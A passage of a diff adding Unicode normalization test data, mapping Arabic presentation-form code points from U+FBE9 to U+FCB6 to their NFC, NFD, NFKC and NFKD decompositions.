+{ source: [0xFBE9], NFC: [0xFBE9], NFD: [0xFBE9], NFKC: [0x0649], NFKD: [0x0649] },
+{ source: [0xFBEA], NFC: [0xFBEA], NFD: [0xFBEA], NFKC: [0x0626, 0x0627], NFKD: [0x064A, 0x0654, 0x0627] },
+{ source: [0xFBEB], NFC: [0xFBEB], NFD: [0xFBEB], NFKC: [0x0626, 0x0627], NFKD: [0x064A, 0x0654, 0x0627] },
+{ source: [0xFBEC], NFC: [0xFBEC], NFD: [0xFBEC], NFKC: [0x0626, 0x06D5], NFKD: [0x064A, 0x0654, 0x06D5] },
+{ source: [0xFBED], NFC: [0xFBED], NFD: [0xFBED], NFKC: [0x0626, 0x06D5], NFKD: [0x064A, 0x0654, 0x06D5] },
+{ source: [0xFBEE], NFC: [0xFBEE], NFD: [0xFBEE], NFKC: [0x0626, 0x0648], NFKD: [0x064A, 0x0654, 0x0648] },
+{ source: [0xFBEF], NFC: [0xFBEF], NFD: [0xFBEF], NFKC: [0x0626, 0x0648], NFKD: [0x064A, 0x0654, 0x0648] },
+{ source: [0xFBF0], NFC: [0xFBF0], NFD: [0xFBF0], NFKC: [0x0626, 0x06C7], NFKD: [0x064A, 0x0654, 0x06C7] },
+{ source: [0xFBF1], NFC: [0xFBF1], NFD: [0xFBF1], NFKC: [0x0626, 0x06C7], NFKD: [0x064A, 0x0654, 0x06C7] },
+{ source: [0xFBF2], NFC: [0xFBF2], NFD: [0xFBF2], NFKC: [0x0626, 0x06C6], NFKD: [0x064A, 0x0654, 0x06C6] },
+{ source: [0xFBF3], NFC: [0xFBF3], NFD: [0xFBF3], NFKC: [0x0626, 0x06C6], NFKD: [0x064A, 0x0654, 0x06C6] },
+{ source: [0xFBF4], NFC: [0xFBF4], NFD: [0xFBF4], NFKC: [0x0626, 0x06C8], NFKD: [0x064A, 0x0654, 0x06C8] },
+{ source: [0xFBF5], NFC: [0xFBF5], NFD: [0xFBF5], NFKC: [0x0626, 0x06C8], NFKD: [0x064A, 0x0654, 0x06C8] },
+{ source: [0xFBF6], NFC: [0xFBF6], NFD: [0xFBF6], NFKC: [0x0626, 0x06D0], NFKD: [0x064A, 0x0654, 0x06D0] },
+{ source: [0xFBF7], NFC: [0xFBF7], NFD: [0xFBF7], NFKC: [0x0626, 0x06D0], NFKD: [0x064A, 0x0654, 0x06D0] },
+{ source: [0xFBF8], NFC: [0xFBF8], NFD: [0xFBF8], NFKC: [0x0626, 0x06D0], NFKD: [0x064A, 0x0654, 0x06D0] },
+{ source: [0xFBF9], NFC: [0xFBF9], NFD: [0xFBF9], NFKC: [0x0626, 0x0649], NFKD: [0x064A, 0x0654, 0x0649] },
+{ source: [0xFBFA], NFC: [0xFBFA], NFD: [0xFBFA], NFKC: [0x0626, 0x0649], NFKD: [0x064A, 0x0654, 0x0649] },
+{ source: [0xFBFB], NFC: [0xFBFB], NFD: [0xFBFB], NFKC: [0x0626, 0x0649], NFKD: [0x064A, 0x0654, 0x0649] },
+{ source: [0xFBFC], NFC: [0xFBFC], NFD: [0xFBFC], NFKC: [0x06CC], NFKD: [0x06CC] },
+{ source: [0xFBFD], NFC: [0xFBFD], NFD: [0xFBFD], NFKC: [0x06CC], NFKD: [0x06CC] },
+{ source: [0xFBFE], NFC: [0xFBFE], NFD: [0xFBFE], NFKC: [0x06CC], NFKD: [0x06CC] },
+{ source: [0xFBFF], NFC: [0xFBFF], NFD: [0xFBFF], NFKC: [0x06CC], NFKD: [0x06CC] },
+{ source: [0xFC00], NFC: [0xFC00], NFD: [0xFC00], NFKC: [0x0626, 0x062C], NFKD: [0x064A, 0x0654, 0x062C] },
+{ source: [0xFC01], NFC: [0xFC01], NFD: [0xFC01], NFKC: [0x0626, 0x062D], NFKD: [0x064A, 0x0654, 0x062D] },
+{ source: [0xFC02], NFC: [0xFC02], NFD: [0xFC02], NFKC: [0x0626, 0x0645], NFKD: [0x064A, 0x0654, 0x0645] },
+{ source: [0xFC03], NFC: [0xFC03], NFD: [0xFC03], NFKC: [0x0626, 0x0649], NFKD: [0x064A, 0x0654, 0x0649] },
+{ source: [0xFC04], NFC: [0xFC04], NFD: [0xFC04], NFKC: [0x0626, 0x064A], NFKD: [0x064A, 0x0654, 0x064A] },
+{ source: [0xFC05], NFC: [0xFC05], NFD: [0xFC05], NFKC: [0x0628, 0x062C], NFKD: [0x0628, 0x062C] },
+{ source: [0xFC06], NFC: [0xFC06], NFD: [0xFC06], NFKC: [0x0628, 0x062D], NFKD: [0x0628, 0x062D] },
+{ source: [0xFC07], NFC: [0xFC07], NFD: [0xFC07], NFKC: [0x0628, 0x062E], NFKD: [0x0628, 0x062E] },
+{ source: [0xFC08], NFC: [0xFC08], NFD: [0xFC08], NFKC: [0x0628, 0x0645], NFKD: [0x0628, 0x0645] },
+{ source: [0xFC09], NFC: [0xFC09], NFD: [0xFC09], NFKC: [0x0628, 0x0649], NFKD: [0x0628, 0x0649] },
+{ source: [0xFC0A], NFC: [0xFC0A], NFD: [0xFC0A], NFKC: [0x0628, 0x064A], NFKD: [0x0628, 0x064A] },
+{ source: [0xFC0B], NFC: [0xFC0B], NFD: [0xFC0B], NFKC: [0x062A, 0x062C], NFKD: [0x062A, 0x062C] },
+{ source: [0xFC0C], NFC: [0xFC0C], NFD: [0xFC0C], NFKC: [0x062A, 0x062D], NFKD: [0x062A, 0x062D] },
+{ source: [0xFC0D], NFC: [0xFC0D], NFD: [0xFC0D], NFKC: [0x062A, 0x062E], NFKD: [0x062A, 0x062E] },
+{ source: [0xFC0E], NFC: [0xFC0E], NFD: [0xFC0E], NFKC: [0x062A, 0x0645], NFKD: [0x062A, 0x0645] },
+{ source: [0xFC0F], NFC: [0xFC0F], NFD: [0xFC0F], NFKC: [0x062A, 0x0649], NFKD: [0x062A, 0x0649] },
+{ source: [0xFC10], NFC: [0xFC10], NFD: [0xFC10], NFKC: [0x062A, 0x064A], NFKD: [0x062A, 0x064A] },
+{ source: [0xFC11], NFC: [0xFC11], NFD: [0xFC11], NFKC: [0x062B, 0x062C], NFKD: [0x062B, 0x062C] },
+{ source: [0xFC12], NFC: [0xFC12], NFD: [0xFC12], NFKC: [0x062B, 0x0645], NFKD: [0x062B, 0x0645] },
+{ source: [0xFC13], NFC: [0xFC13], NFD: [0xFC13], NFKC: [0x062B, 0x0649], NFKD: [0x062B, 0x0649] },
+{ source: [0xFC14], NFC: [0xFC14], NFD: [0xFC14], NFKC: [0x062B, 0x064A], NFKD: [0x062B, 0x064A] },
+{ source: [0xFC15], NFC: [0xFC15], NFD: [0xFC15], NFKC: [0x062C, 0x062D], NFKD: [0x062C, 0x062D] },
+{ source: [0xFC16], NFC: [0xFC16], NFD: [0xFC16], NFKC: [0x062C, 0x0645], NFKD: [0x062C, 0x0645] },
+{ source: [0xFC17], NFC: [0xFC17], NFD: [0xFC17], NFKC: [0x062D, 0x062C], NFKD: [0x062D, 0x062C] },
+{ source: [0xFC18], NFC: [0xFC18], NFD: [0xFC18], NFKC: [0x062D, 0x0645], NFKD: [0x062D, 0x0645] },
+{ source: [0xFC19], NFC: [0xFC19], NFD: [0xFC19], NFKC: [0x062E, 0x062C], NFKD: [0x062E, 0x062C] },
+{ source: [0xFC1A], NFC: [0xFC1A], NFD: [0xFC1A], NFKC: [0x062E, 0x062D], NFKD: [0x062E, 0x062D] },
+{ source: [0xFC1B], NFC: [0xFC1B], NFD: [0xFC1B], NFKC: [0x062E, 0x0645], NFKD: [0x062E, 0x0645] },
+{ source: [0xFC1C], NFC: [0xFC1C], NFD: [0xFC1C], NFKC: [0x0633, 0x062C], NFKD: [0x0633, 0x062C] },
+{ source: [0xFC1D], NFC: [0xFC1D], NFD: [0xFC1D], NFKC: [0x0633, 0x062D], NFKD: [0x0633, 0x062D] },
+{ source: [0xFC1E], NFC: [0xFC1E], NFD: [0xFC1E], NFKC: [0x0633, 0x062E], NFKD: [0x0633, 0x062E] },
+{ source: [0xFC1F], NFC: [0xFC1F], NFD: [0xFC1F], NFKC: [0x0633, 0x0645], NFKD: [0x0633, 0x0645] },
+{ source: [0xFC20], NFC: [0xFC20], NFD: [0xFC20], NFKC: [0x0635, 0x062D], NFKD: [0x0635, 0x062D] },
+{ source: [0xFC21], NFC: [0xFC21], NFD: [0xFC21], NFKC: [0x0635, 0x0645], NFKD: [0x0635, 0x0645] },
+{ source: [0xFC22], NFC: [0xFC22], NFD: [0xFC22], NFKC: [0x0636, 0x062C], NFKD: [0x0636, 0x062C] },
+{ source: [0xFC23], NFC: [0xFC23], NFD: [0xFC23], NFKC: [0x0636, 0x062D], NFKD: [0x0636, 0x062D] },
+{ source: [0xFC24], NFC: [0xFC24], NFD: [0xFC24], NFKC: [0x0636, 0x062E], NFKD: [0x0636, 0x062E] },
+{ source: [0xFC25], NFC: [0xFC25], NFD: [0xFC25], NFKC: [0x0636, 0x0645], NFKD: [0x0636, 0x0645] },
+{ source: [0xFC26], NFC: [0xFC26], NFD: [0xFC26], NFKC: [0x0637, 0x062D], NFKD: [0x0637, 0x062D] },
+{ source: [0xFC27], NFC: [0xFC27], NFD: [0xFC27], NFKC: [0x0637, 0x0645], NFKD: [0x0637, 0x0645] },
+{ source: [0xFC28], NFC: [0xFC28], NFD: [0xFC28], NFKC: [0x0638, 0x0645], NFKD: [0x0638, 0x0645] },
+{ source: [0xFC29], NFC: [0xFC29], NFD: [0xFC29], NFKC: [0x0639, 0x062C], NFKD: [0x0639, 0x062C] },
+{ source: [0xFC2A], NFC: [0xFC2A], NFD: [0xFC2A], NFKC: [0x0639, 0x0645], NFKD: [0x0639, 0x0645] },
+{ source: [0xFC2B], NFC: [0xFC2B], NFD: [0xFC2B], NFKC: [0x063A, 0x062C], NFKD: [0x063A, 0x062C] },
+{ source: [0xFC2C], NFC: [0xFC2C], NFD: [0xFC2C], NFKC: [0x063A, 0x0645], NFKD: [0x063A, 0x0645] },
+{ source: [0xFC2D], NFC: [0xFC2D], NFD: [0xFC2D], NFKC: [0x0641, 0x062C], NFKD: [0x0641, 0x062C] },
+{ source: [0xFC2E], NFC: [0xFC2E], NFD: [0xFC2E], NFKC: [0x0641, 0x062D], NFKD: [0x0641, 0x062D] },
+{ source: [0xFC2F], NFC: [0xFC2F], NFD: [0xFC2F], NFKC: [0x0641, 0x062E], NFKD: [0x0641, 0x062E] },
+{ source: [0xFC30], NFC: [0xFC30], NFD: [0xFC30], NFKC: [0x0641, 0x0645], NFKD: [0x0641, 0x0645] },
+{ source: [0xFC31], NFC: [0xFC31], NFD: [0xFC31], NFKC: [0x0641, 0x0649], NFKD: [0x0641, 0x0649] },
+{ source: [0xFC32], NFC: [0xFC32], NFD: [0xFC32], NFKC: [0x0641, 0x064A], NFKD: [0x0641, 0x064A] },
+{ source: [0xFC33], NFC: [0xFC33], NFD: [0xFC33], NFKC: [0x0642, 0x062D], NFKD: [0x0642, 0x062D] },
+{ source: [0xFC34], NFC: [0xFC34], NFD: [0xFC34], NFKC: [0x0642, 0x0645], NFKD: [0x0642, 0x0645] },
+{ source: [0xFC35], NFC: [0xFC35], NFD: [0xFC35], NFKC: [0x0642, 0x0649], NFKD: [0x0642, 0x0649] },
+{ source: [0xFC36], NFC: [0xFC36], NFD: [0xFC36], NFKC: [0x0642, 0x064A], NFKD: [0x0642, 0x064A] },
+{ source: [0xFC37], NFC: [0xFC37], NFD: [0xFC37], NFKC: [0x0643, 0x0627], NFKD: [0x0643, 0x0627] },
+{ source: [0xFC38], NFC: [0xFC38], NFD: [0xFC38], NFKC: [0x0643, 0x062C], NFKD: [0x0643, 0x062C] },
+{ source: [0xFC39], NFC: [0xFC39], NFD: [0xFC39], NFKC: [0x0643, 0x062D], NFKD: [0x0643, 0x062D] },
+{ source: [0xFC3A], NFC: [0xFC3A], NFD: [0xFC3A], NFKC: [0x0643, 0x062E], NFKD: [0x0643, 0x062E] },
+{ source: [0xFC3B], NFC: [0xFC3B], NFD: [0xFC3B], NFKC: [0x0643, 0x0644], NFKD: [0x0643, 0x0644] },
+{ source: [0xFC3C], NFC: [0xFC3C], NFD: [0xFC3C], NFKC: [0x0643, 0x0645], NFKD: [0x0643, 0x0645] },
+{ source: [0xFC3D], NFC: [0xFC3D], NFD: [0xFC3D], NFKC: [0x0643, 0x0649], NFKD: [0x0643, 0x0649] },
+{ source: [0xFC3E], NFC: [0xFC3E], NFD: [0xFC3E], NFKC: [0x0643, 0x064A], NFKD: [0x0643, 0x064A] },
+{ source: [0xFC3F], NFC: [0xFC3F], NFD: [0xFC3F], NFKC: [0x0644, 0x062C], NFKD: [0x0644, 0x062C] },
+{ source: [0xFC40], NFC: [0xFC40], NFD: [0xFC40], NFKC: [0x0644, 0x062D], NFKD: [0x0644, 0x062D] },
+{ source: [0xFC41], NFC: [0xFC41], NFD: [0xFC41], NFKC: [0x0644, 0x062E], NFKD: [0x0644, 0x062E] },
+{ source: [0xFC42], NFC: [0xFC42], NFD: [0xFC42], NFKC: [0x0644, 0x0645], NFKD: [0x0644, 0x0645] },
+{ source: [0xFC43], NFC: [0xFC43], NFD: [0xFC43], NFKC: [0x0644, 0x0649], NFKD: [0x0644, 0x0649] },
+{ source: [0xFC44], NFC: [0xFC44], NFD: [0xFC44], NFKC: [0x0644, 0x064A], NFKD: [0x0644, 0x064A] },
+{ source: [0xFC45], NFC: [0xFC45], NFD: [0xFC45], NFKC: [0x0645, 0x062C], NFKD: [0x0645, 0x062C] },
+{ source: [0xFC46], NFC: [0xFC46], NFD: [0xFC46], NFKC: [0x0645, 0x062D], NFKD: [0x0645, 0x062D] },
+{ source: [0xFC47], NFC: [0xFC47], NFD: [0xFC47], NFKC: [0x0645, 0x062E], NFKD: [0x0645, 0x062E] },
+{ source: [0xFC48], NFC: [0xFC48], NFD: [0xFC48], NFKC: [0x0645, 0x0645], NFKD: [0x0645, 0x0645] },
+{ source: [0xFC49], NFC: [0xFC49], NFD: [0xFC49], NFKC: [0x0645, 0x0649], NFKD: [0x0645, 0x0649] },
+{ source: [0xFC4A], NFC: [0xFC4A], NFD: [0xFC4A], NFKC: [0x0645, 0x064A], NFKD: [0x0645, 0x064A] },
+{ source: [0xFC4B], NFC: [0xFC4B], NFD: [0xFC4B], NFKC: [0x0646, 0x062C], NFKD: [0x0646, 0x062C] },
+{ source: [0xFC4C], NFC: [0xFC4C], NFD: [0xFC4C], NFKC: [0x0646, 0x062D], NFKD: [0x0646, 0x062D] },
+{ source: [0xFC4D], NFC: [0xFC4D], NFD: [0xFC4D], NFKC: [0x0646, 0x062E], NFKD: [0x0646, 0x062E] },
+{ source: [0xFC4E], NFC: [0xFC4E], NFD: [0xFC4E], NFKC: [0x0646, 0x0645], NFKD: [0x0646, 0x0645] },
+{ source: [0xFC4F], NFC: [0xFC4F], NFD: [0xFC4F], NFKC: [0x0646, 0x0649], NFKD: [0x0646, 0x0649] },
+{ source: [0xFC50], NFC: [0xFC50], NFD: [0xFC50], NFKC: [0x0646, 0x064A], NFKD: [0x0646, 0x064A] },
+{ source: [0xFC51], NFC: [0xFC51], NFD: [0xFC51], NFKC: [0x0647, 0x062C], NFKD: [0x0647, 0x062C] },
+{ source: [0xFC52], NFC: [0xFC52], NFD: [0xFC52], NFKC: [0x0647, 0x0645], NFKD: [0x0647, 0x0645] },
+{ source: [0xFC53], NFC: [0xFC53], NFD: [0xFC53], NFKC: [0x0647, 0x0649], NFKD: [0x0647, 0x0649] },
+{ source: [0xFC54], NFC: [0xFC54], NFD: [0xFC54], NFKC: [0x0647, 0x064A], NFKD: [0x0647, 0x064A] },
+{ source: [0xFC55], NFC: [0xFC55], NFD: [0xFC55], NFKC: [0x064A, 0x062C], NFKD: [0x064A, 0x062C] },
+{ source: [0xFC56], NFC: [0xFC56], NFD: [0xFC56], NFKC: [0x064A, 0x062D], NFKD: [0x064A, 0x062D] },
+{ source: [0xFC57], NFC: [0xFC57], NFD: [0xFC57], NFKC: [0x064A, 0x062E], NFKD: [0x064A, 0x062E] },
+{ source: [0xFC58], NFC: [0xFC58], NFD: [0xFC58], NFKC: [0x064A, 0x0645], NFKD: [0x064A, 0x0645] },
+{ source: [0xFC59], NFC: [0xFC59], NFD: [0xFC59], NFKC: [0x064A, 0x0649], NFKD: [0x064A, 0x0649] },
+{ source: [0xFC5A], NFC: [0xFC5A], NFD: [0xFC5A], NFKC: [0x064A, 0x064A], NFKD: [0x064A, 0x064A] },
+{ source: [0xFC5B], NFC: [0xFC5B], NFD: [0xFC5B], NFKC: [0x0630, 0x0670], NFKD: [0x0630, 0x0670] },
+{ source: [0xFC5C], NFC: [0xFC5C], NFD: [0xFC5C], NFKC: [0x0631, 0x0670], NFKD: [0x0631, 0x0670] },
+{ source: [0xFC5D], NFC: [0xFC5D], NFD: [0xFC5D], NFKC: [0x0649, 0x0670], NFKD: [0x0649, 0x0670] },
+{ source: [0xFC5E], NFC: [0xFC5E], NFD: [0xFC5E], NFKC: [0x0020, 0x064C, 0x0651], NFKD: [0x0020, 0x064C, 0x0651] },
+{ source: [0xFC5F], NFC: [0xFC5F], NFD: [0xFC5F], NFKC: [0x0020, 0x064D, 0x0651], NFKD: [0x0020, 0x064D, 0x0651] },
+{ source: [0xFC60], NFC: [0xFC60], NFD: [0xFC60], NFKC: [0x0020, 0x064E, 0x0651], NFKD: [0x0020, 0x064E, 0x0651] },
+{ source: [0xFC61], NFC: [0xFC61], NFD: [0xFC61], NFKC: [0x0020, 0x064F, 0x0651], NFKD: [0x0020, 0x064F, 0x0651] },
+{ source: [0xFC62], NFC: [0xFC62], NFD: [0xFC62], NFKC: [0x0020, 0x0650, 0x0651], NFKD: [0x0020, 0x0650, 0x0651] },
+{ source: [0xFC63], NFC: [0xFC63], NFD: [0xFC63], NFKC: [0x0020, 0x0651, 0x0670], NFKD: [0x0020, 0x0651, 0x0670] },
+{ source: [0xFC64], NFC: [0xFC64], NFD: [0xFC64], NFKC: [0x0626, 0x0631], NFKD: [0x064A, 0x0654, 0x0631] },
+{ source: [0xFC65], NFC: [0xFC65], NFD: [0xFC65], NFKC: [0x0626, 0x0632], NFKD: [0x064A, 0x0654, 0x0632] },
+{ source: [0xFC66], NFC: [0xFC66], NFD: [0xFC66], NFKC: [0x0626, 0x0645], NFKD: [0x064A, 0x0654, 0x0645] },
+{ source: [0xFC67], NFC: [0xFC67], NFD: [0xFC67], NFKC: [0x0626, 0x0646], NFKD: [0x064A, 0x0654, 0x0646] },
+{ source: [0xFC68], NFC: [0xFC68], NFD: [0xFC68], NFKC: [0x0626, 0x0649], NFKD: [0x064A, 0x0654, 0x0649] },
+{ source: [0xFC69], NFC: [0xFC69], NFD: [0xFC69], NFKC: [0x0626, 0x064A], NFKD: [0x064A, 0x0654, 0x064A] },
+{ source: [0xFC6A], NFC: [0xFC6A], NFD: [0xFC6A], NFKC: [0x0628, 0x0631], NFKD: [0x0628, 0x0631] },
+{ source: [0xFC6B], NFC: [0xFC6B], NFD: [0xFC6B], NFKC: [0x0628, 0x0632], NFKD: [0x0628, 0x0632] },
+{ source: [0xFC6C], NFC: [0xFC6C], NFD: [0xFC6C], NFKC: [0x0628, 0x0645], NFKD: [0x0628, 0x0645] },
+{ source: [0xFC6D], NFC: [0xFC6D], NFD: [0xFC6D], NFKC: [0x0628, 0x0646], NFKD: [0x0628, 0x0646] },
+{ source: [0xFC6E], NFC: [0xFC6E], NFD: [0xFC6E], NFKC: [0x0628, 0x0649], NFKD: [0x0628, 0x0649] },
+{ source: [0xFC6F], NFC: [0xFC6F], NFD: [0xFC6F], NFKC: [0x0628, 0x064A], NFKD: [0x0628, 0x064A] },
+{ source: [0xFC70], NFC: [0xFC70], NFD: [0xFC70], NFKC: [0x062A, 0x0631], NFKD: [0x062A, 0x0631] },
+{ source: [0xFC71], NFC: [0xFC71], NFD: [0xFC71], NFKC: [0x062A, 0x0632], NFKD: [0x062A, 0x0632] },
+{ source: [0xFC72], NFC: [0xFC72], NFD: [0xFC72], NFKC: [0x062A, 0x0645], NFKD: [0x062A, 0x0645] },
+{ source: [0xFC73], NFC: [0xFC73], NFD: [0xFC73], NFKC: [0x062A, 0x0646], NFKD: [0x062A, 0x0646] },
+{ source: [0xFC74], NFC: [0xFC74], NFD: [0xFC74], NFKC: [0x062A, 0x0649], NFKD: [0x062A, 0x0649] },
+{ source: [0xFC75], NFC: [0xFC75], NFD: [0xFC75], NFKC: [0x062A, 0x064A], NFKD: [0x062A, 0x064A] },
+{ source: [0xFC76], NFC: [0xFC76], NFD: [0xFC76], NFKC: [0x062B, 0x0631], NFKD: [0x062B, 0x0631] },
+{ source: [0xFC77], NFC: [0xFC77], NFD: [0xFC77], NFKC: [0x062B, 0x0632], NFKD: [0x062B, 0x0632] },
+{ source: [0xFC78], NFC: [0xFC78], NFD: [0xFC78], NFKC: [0x062B, 0x0645], NFKD: [0x062B, 0x0645] },
+{ source: [0xFC79], NFC: [0xFC79], NFD: [0xFC79], NFKC: [0x062B, 0x0646], NFKD: [0x062B, 0x0646] },
+{ source: [0xFC7A], NFC: [0xFC7A], NFD: [0xFC7A], NFKC: [0x062B, 0x0649], NFKD: [0x062B, 0x0649] },
+{ source: [0xFC7B], NFC: [0xFC7B], NFD: [0xFC7B], NFKC: [0x062B, 0x064A], NFKD: [0x062B, 0x064A] },
+{ source: [0xFC7C], NFC: [0xFC7C], NFD: [0xFC7C], NFKC: [0x0641, 0x0649], NFKD: [0x0641, 0x0649] },
+{ source: [0xFC7D], NFC: [0xFC7D], NFD: [0xFC7D], NFKC: [0x0641, 0x064A], NFKD: [0x0641, 0x064A] },
+{ source: [0xFC7E], NFC: [0xFC7E], NFD: [0xFC7E], NFKC: [0x0642, 0x0649], NFKD: [0x0642, 0x0649] },
+{ source: [0xFC7F], NFC: [0xFC7F], NFD: [0xFC7F], NFKC: [0x0642, 0x064A], NFKD: [0x0642, 0x064A] },
+{ source: [0xFC80], NFC: [0xFC80], NFD: [0xFC80], NFKC: [0x0643, 0x0627], NFKD: [0x0643, 0x0627] },
+{ source: [0xFC81], NFC: [0xFC81], NFD: [0xFC81], NFKC: [0x0643, 0x0644], NFKD: [0x0643, 0x0644] },
+{ source: [0xFC82], NFC: [0xFC82], NFD: [0xFC82], NFKC: [0x0643, 0x0645], NFKD: [0x0643, 0x0645] },
+{ source: [0xFC83], NFC: [0xFC83], NFD: [0xFC83], NFKC: [0x0643, 0x0649], NFKD: [0x0643, 0x0649] },
+{ source: [0xFC84], NFC: [0xFC84], NFD: [0xFC84], NFKC: [0x0643, 0x064A], NFKD: [0x0643, 0x064A] },
+{ source: [0xFC85], NFC: [0xFC85], NFD: [0xFC85], NFKC: [0x0644, 0x0645], NFKD: [0x0644, 0x0645] },
+{ source: [0xFC86], NFC: [0xFC86], NFD: [0xFC86], NFKC: [0x0644, 0x0649], NFKD: [0x0644, 0x0649] },
+{ source: [0xFC87], NFC: [0xFC87], NFD: [0xFC87], NFKC: [0x0644, 0x064A], NFKD: [0x0644, 0x064A] },
+{ source: [0xFC88], NFC: [0xFC88], NFD: [0xFC88], NFKC: [0x0645, 0x0627], NFKD: [0x0645, 0x0627] },
+{ source: [0xFC89], NFC: [0xFC89], NFD: [0xFC89], NFKC: [0x0645, 0x0645], NFKD: [0x0645, 0x0645] },
+{ source: [0xFC8A], NFC: [0xFC8A], NFD: [0xFC8A], NFKC: [0x0646, 0x0631], NFKD: [0x0646, 0x0631] },
+{ source: [0xFC8B], NFC: [0xFC8B], NFD: [0xFC8B], NFKC: [0x0646, 0x0632], NFKD: [0x0646, 0x0632] },
+{ source: [0xFC8C], NFC: [0xFC8C], NFD: [0xFC8C], NFKC: [0x0646, 0x0645], NFKD: [0x0646, 0x0645] },
+{ source: [0xFC8D], NFC: [0xFC8D], NFD: [0xFC8D], NFKC: [0x0646, 0x0646], NFKD: [0x0646, 0x0646] },
+{ source: [0xFC8E], NFC: [0xFC8E], NFD: [0xFC8E], NFKC: [0x0646, 0x0649], NFKD: [0x0646, 0x0649] },
+{ source: [0xFC8F], NFC: [0xFC8F], NFD: [0xFC8F], NFKC: [0x0646, 0x064A], NFKD: [0x0646, 0x064A] },
+{ source: [0xFC90], NFC: [0xFC90], NFD: [0xFC90], NFKC: [0x0649, 0x0670], NFKD: [0x0649, 0x0670] },
+{ source: [0xFC91], NFC: [0xFC91], NFD: [0xFC91], NFKC: [0x064A, 0x0631], NFKD: [0x064A, 0x0631] },
+{ source: [0xFC92], NFC: [0xFC92], NFD: [0xFC92], NFKC: [0x064A, 0x0632], NFKD: [0x064A, 0x0632] },
+{ source: [0xFC93], NFC: [0xFC93], NFD: [0xFC93], NFKC: [0x064A, 0x0645], NFKD: [0x064A, 0x0645] },
+{ source: [0xFC94], NFC: [0xFC94], NFD: [0xFC94], NFKC: [0x064A, 0x0646], NFKD: [0x064A, 0x0646] },
+{ source: [0xFC95], NFC: [0xFC95], NFD: [0xFC95], NFKC: [0x064A, 0x0649], NFKD: [0x064A, 0x0649] },
+{ source: [0xFC96], NFC: [0xFC96], NFD: [0xFC96], NFKC: [0x064A, 0x064A], NFKD: [0x064A, 0x064A] },
+{ source: [0xFC97], NFC: [0xFC97], NFD: [0xFC97], NFKC: [0x0626, 0x062C], NFKD: [0x064A, 0x0654, 0x062C] },
+{ source: [0xFC98], NFC: [0xFC98], NFD: [0xFC98], NFKC: [0x0626, 0x062D], NFKD: [0x064A, 0x0654, 0x062D] },
+{ source: [0xFC99], NFC: [0xFC99], NFD: [0xFC99], NFKC: [0x0626, 0x062E], NFKD: [0x064A, 0x0654, 0x062E] },
+{ source: [0xFC9A], NFC: [0xFC9A], NFD: [0xFC9A], NFKC: [0x0626, 0x0645], NFKD: [0x064A, 0x0654, 0x0645] },
+{ source: [0xFC9B], NFC: [0xFC9B], NFD: [0xFC9B], NFKC: [0x0626, 0x0647], NFKD: [0x064A, 0x0654, 0x0647] },
+{ source: [0xFC9C], NFC: [0xFC9C], NFD: [0xFC9C], NFKC: [0x0628, 0x062C], NFKD: [0x0628, 0x062C] },
+{ source: [0xFC9D], NFC: [0xFC9D], NFD: [0xFC9D], NFKC: [0x0628, 0x062D], NFKD: [0x0628, 0x062D] },
+{ source: [0xFC9E], NFC: [0xFC9E], NFD: [0xFC9E], NFKC: [0x0628, 0x062E], NFKD: [0x0628, 0x062E] },
+{ source: [0xFC9F], NFC: [0xFC9F], NFD: [0xFC9F], NFKC: [0x0628, 0x0645], NFKD: [0x0628, 0x0645] },
+{ source: [0xFCA0], NFC: [0xFCA0], NFD: [0xFCA0], NFKC: [0x0628, 0x0647], NFKD: [0x0628, 0x0647] },
+{ source: [0xFCA1], NFC: [0xFCA1], NFD: [0xFCA1], NFKC: [0x062A, 0x062C], NFKD: [0x062A, 0x062C] },
+{ source: [0xFCA2], NFC: [0xFCA2], NFD: [0xFCA2], NFKC: [0x062A, 0x062D], NFKD: [0x062A, 0x062D] },
+{ source: [0xFCA3], NFC: [0xFCA3], NFD: [0xFCA3], NFKC: [0x062A, 0x062E], NFKD: [0x062A, 0x062E] },
+{ source: [0xFCA4], NFC: [0xFCA4], NFD: [0xFCA4], NFKC: [0x062A, 0x0645], NFKD: [0x062A, 0x0645] },
+{ source: [0xFCA5], NFC: [0xFCA5], NFD: [0xFCA5], NFKC: [0x062A, 0x0647], NFKD: [0x062A, 0x0647] },
+{ source: [0xFCA6], NFC: [0xFCA6], NFD: [0xFCA6], NFKC: [0x062B, 0x0645], NFKD: [0x062B, 0x0645] },
+{ source: [0xFCA7], NFC: [0xFCA7], NFD: [0xFCA7], NFKC: [0x062C, 0x062D], NFKD: [0x062C, 0x062D] },
+{ source: [0xFCA8], NFC: [0xFCA8], NFD: [0xFCA8], NFKC: [0x062C, 0x0645], NFKD: [0x062C, 0x0645] },
+{ source: [0xFCA9], NFC: [0xFCA9], NFD: [0xFCA9], NFKC: [0x062D, 0x062C], NFKD: [0x062D, 0x062C] },
+{ source: [0xFCAA], NFC: [0xFCAA], NFD: [0xFCAA], NFKC: [0x062D, 0x0645], NFKD: [0x062D, 0x0645] },
+{ source: [0xFCAB], NFC: [0xFCAB], NFD: [0xFCAB], NFKC: [0x062E, 0x062C], NFKD: [0x062E, 0x062C] },
+{ source: [0xFCAC], NFC: [0xFCAC], NFD: [0xFCAC], NFKC: [0x062E, 0x0645], NFKD: [0x062E, 0x0645] },
+{ source: [0xFCAD], NFC: [0xFCAD], NFD: [0xFCAD], NFKC: [0x0633, 0x062C], NFKD: [0x0633, 0x062C] },
+{ source: [0xFCAE], NFC: [0xFCAE], NFD: [0xFCAE], NFKC: [0x0633, 0x062D], NFKD: [0x0633, 0x062D] },
+{ source: [0xFCAF], NFC: [0xFCAF], NFD: [0xFCAF], NFKC: [0x0633, 0x062E], NFKD: [0x0633, 0x062E] },
+{ source: [0xFCB0], NFC: [0xFCB0], NFD: [0xFCB0], NFKC: [0x0633, 0x0645], NFKD: [0x0633, 0x0645] },
+{ source: [0xFCB1], NFC: [0xFCB1], NFD: [0xFCB1], NFKC: [0x0635, 0x062D], NFKD: [0x0635, 0x062D] },
+{ source: [0xFCB2], NFC: [0xFCB2], NFD: [0xFCB2], NFKC: [0x0635, 0x062E], NFKD: [0x0635, 0x062E] },
+{ source: [0xFCB3], NFC: [0xFCB3], NFD: [0xFCB3], NFKC: [0x0635, 0x0645], NFKD: [0x0635, 0x0645] },
+{ source: [0xFCB4], NFC: [0xFCB4], NFD: [0xFCB4], NFKC: [0x0636, 0x062C], NFKD: [0x0636, 0x062C] },
+{ source: [0xFCB5], NFC: [0xFCB5], NFD: [0xFCB5], NFKC: [0x0636, 0x062D], NFKD: [0x0636, 0x062D] },
+{ source: [0xFCB6], NFC: [0xFCB6], NFD: [0xFCB6], NFKC: [0x0636, 0x062E], NFKD: [0x0636, 0x062E] },
